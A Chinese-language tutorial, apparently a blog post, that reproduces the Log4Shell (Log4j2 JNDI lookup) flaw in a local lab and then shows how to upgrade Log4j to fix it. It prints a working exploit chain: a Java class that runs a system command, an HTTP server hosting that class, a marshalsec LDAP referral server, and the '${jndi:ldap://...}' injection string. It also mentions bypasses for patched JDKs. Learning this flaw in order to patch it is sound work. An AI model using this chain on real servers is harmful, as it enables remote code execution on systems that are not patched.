下面会分四步介绍

概述

1.目的

模拟攻击自有项目,了解原理,修复漏洞

2.漏洞概述

该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。

3.影响范围

Apache Log4j 2.x <= 2.15.0-rc1

4.流程图

图片中用rmi方式,我是用的ldap。 图片转载自https://www.jianshu.com/p/f0a83136f89a侵删

重现漏洞

1.环境版本

JDK:1.8.0_241

jdk1.8.0_241 Maven:3.6.3 maven log4j2:2.14.1 log4j2

2.代码实现

按照流程图标识顺序开始编写代码

第一步、完成恶意代码的编写,部署到服务器上

public class Exploit {
    public Exploit() {
        try {
            System.out.println("进来了!进来了!");
             // 要执行的命令 打开计算器
            // mac
            String[] commands = {"open", "/System/Applications/Calculator.app"};
            //windows
            // Runtime.getRuntime().exec("calc.exe");

            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }
}

编译 Exploit.java javac Exploit.java

测试脚本 执行java Exploit 确保能成功打开计算器

#进入Exploit.class所在目录,执行命令启动一个web服务 
python3 -m http.server 8100

直接访问 http://127.0.0.1:8100/ 确保点击能把class下载下来

第二部、搭建一个LDAP服务

这里会用到marshalsec反序列化工具 我已经打包好可以直接点击下载使用

或者直接github上下载源码https://github.com/mbechler/marshalsec

#进入marshalsec 然后执行打包命令
mvn clean package -DskipTests
#执行命令启动服务 ldap默认端口是1389
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8100/#Exploit" 

第三部、编写含有log4j2的error输出接口(即被攻击者的接口,其实就是我们自己项目中含有error输出的接口)

这里我就直接在项目里面输出error日志了

public static void main(String[] args){
    Logger logger = LogManager.getLogger(ExploitTest.class);
    // 根据自己版本,觉得是否取消注释下面这行代码,
    //因为JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
    // 那么是不是升级jdk版本就能避免这个问题了呢,其实不然,有其他方式可以绕过高版本JKD,进行注入攻击
    // 这里演示的是最基础的方式,所以需要先把变量设为true,
    //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
    logger.error("${jndi:ldap://127.0.0.1:1389/test}");
}

如果提示这个错误,也是需要设置System.setProperty(“com.sun.jndi.ldap.object.trustURLCodebase”,“true”)的 Reference Class Name: foo

那么现在执行这个main方式是不是会打开计算器了,成功被注入

修复

根据官方提示升级即可 Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).

如果是springboot 第一种最简单的方式,就是在pom中指定版本号

<properties>
    <log4j2.version>2.17.0</log4j2.version>
</properties>

ReImpot后应该能看到已经升级到了2.17.0了

第二种就是直接引入对应的jar包

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.17.0</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-slf4j-impl</artifactId>
    <version>2.17.0</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.17.0</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-jul</artifactId>
    <version>2.17.0</version>
</dependency>